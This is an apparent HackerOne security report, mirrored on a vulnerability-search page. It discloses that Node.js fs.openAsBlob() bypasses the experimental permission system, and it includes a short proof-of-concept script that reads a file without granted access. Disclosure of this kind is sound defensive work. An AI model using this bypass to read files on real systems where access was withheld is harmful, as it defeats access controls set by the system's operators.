Lucene search

K
hackeroneCjihrigH1:1966492
HistoryApr 29, 2023 - 10:18 p.m.

Node.js: fs.openAsBlob() bypasses permission system

2023-04-2922:18:42
cjihrig
hackerone.com
28
node.js
file read access
vulnerability
permission system
security bypass

0 Low

EPSS

Percentile

0.0%

Summary: [add summary of the vulnerability]
fs.openAsBlob() does not appear to be limited by the permission system.

Description: [add more details about this vulnerability]
Starting Node with --experimental-permission does not appear to restrict fs.openAsBlob().

Steps To Reproduce:

Run the following code with --experimental-permission and do not grant is read access to file.txt:

'use strict';
const fs = require('node:fs');

async function main() {
	const blob = await fs.openAsBlob(__dirname + '/file.txt');

	console.log(await blob.text());
}

main();

Impact: [add why this issue matters]

The permission system is bypassed when it should not be.

Supporting Material/References:

None

Impact

An attacker can read files they should not be able to.